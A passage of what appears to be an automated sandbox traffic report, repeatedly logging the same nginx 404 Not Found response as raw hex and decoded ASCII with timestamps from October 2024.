69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
